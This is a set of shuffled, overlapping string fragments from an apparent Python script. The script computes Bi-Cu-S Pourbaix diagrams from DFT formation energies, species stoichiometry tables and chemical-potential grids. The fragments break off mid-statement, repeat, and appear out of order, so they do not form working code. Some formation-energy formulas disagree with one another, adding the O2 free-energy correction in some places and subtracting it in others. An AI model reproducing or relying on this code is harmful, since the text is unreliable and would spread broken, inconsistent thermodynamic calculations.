"species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1",
"species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0",
"species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12",
"3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check",
"or \\ (species[m, 4]==0 and species[p, 4] ==0) or \\ (species[k, 4]==0 and",
"species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2",
"see if each species contains a single element. This is a really long",
"f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If",
"is a linear combination, save the species in the combos array. if (t==0):",
"Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) -",
"be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the",
"species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1",
"#S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10",
"#Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3,",
"species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ###########",
"species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus",
"3]==0 and species[p, 3] ==0) or \\ (species[k, 3]==0 and species[p, 3] ==0)):",
"l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color",
"=lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1)",
"aqueous conditions #find out how much detail you want in your graph #n=input(\"Enter",
"is at least one multi-element species in this combination if(flag==1): #test each linear",
"species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3",
"dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ###############################################################################",
"species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t",
"Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814",
"dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV to kJ/mol #################################### ###############################################################################",
"species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1",
"species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1",
"species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0",
"#break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.',",
"loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color",
"#used to iterate through U (energy) range ############################################################################### ######################## DFT CALCULATIONS ##################################### ###############################################################################",
"or species[m, 4] >0 or species[p, 4]) \\ and (species[k, 5]>0 or species[m,",
"of t back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of",
"File') ############################################################################### #### Determine which species are able to combine at the composition",
"############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166;",
"elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is",
"-(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2);",
"species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0",
"species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2",
"dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F;",
"Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies ############################ ############################################################################### #Free",
"#BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except",
"\\ and (species[k, 5]>0 or species[m, 5] >0 or species[p, 5])): #save species",
"species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO",
"==0)): flag=0 #if so, find the composition though linear algebra. try: f=np.linalg.solve(a, composition)",
"species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10",
"loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color",
"((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j #Ending parameters, break",
"species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8",
"ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases for i in range(1, n): #calculate",
"############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations ############################ ############################################################################### #should be as",
"the energies for each species number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If",
"species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0",
"mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t];",
"species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3",
"species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0",
"################################### ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are the materials",
"no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations is '+",
"by <NAME>, 2018-2020 #Contributions by <NAME> #For reactions in aqueous conditions #find out",
"Constants Ulow = -1.5; #V Uhigh = 1.5; #V Urange = Uhigh-Ulow; #V",
"0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH",
"species[p, 4] ==0) or \\ (species[k, 4]==0 and species[p, 4] ==0)): if((species[k, 5]==0",
"detail you want, suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F=",
"range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]):",
"combination of the elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2]",
"#Ending parameters, break loops t=0; h=40; i=40; j=40; #If there is a linear",
"in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and",
"species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0",
"species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3",
"species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7",
"the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color =",
"species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus",
"color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and",
"eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species",
"is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break",
"save the species in the combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2:",
"all pairs for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2];",
"for each species number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines",
"Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with",
"= [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and",
"species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi",
"= -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948",
"Potential Mesh Calculations ############################ ############################################################################### #should be as long as there are specicies",
"h=40; i=40; j=40; #If there is a linear combination, save the species in",
"grid. Calculate for i in range(0, n+1): #calculate the energies for each species",
"-2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2);",
"combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0]",
"Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448",
"species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0",
"-1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3=",
"dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ###############################################################################",
"#Is there a linear combination of the elements that will allow #For the",
"f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2])",
"species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0",
"in range(1, 20): for i in range(1, 20): for j in range(1, 20):",
"i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ##############################################################",
"or \\ (species[k, 5]==0 and species[p, 5] ==0)): flag=0 #if so, find the",
"species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6",
"species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2",
"#For saving/importing data from numpy import asarray from numpy import save from numpy",
"species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi",
"index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i",
"Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational",
"############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388;",
"Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272;",
"#Electronic Energies in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765;",
"species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0",
"dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S);",
"i in range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k",
"######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2",
"index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0,",
"= -1.5; #V Uhigh = 1.5; #V Urange = Uhigh-Ulow; #V Ucount =",
"2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch the value of t back",
"Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798;",
"species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1",
"1]=-1 combos[combo_num, 0, 2]=-1 for k in range(0, len(species)): for m in range(0,",
"'+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] =",
"#CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu",
"species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0",
"dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus=",
"-1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus=",
"energies for each species number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If drawing",
"to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6):",
"dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F;",
"Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135",
"range(1, 20): for i in range(1, 20): for j in range(1, 20): #Is",
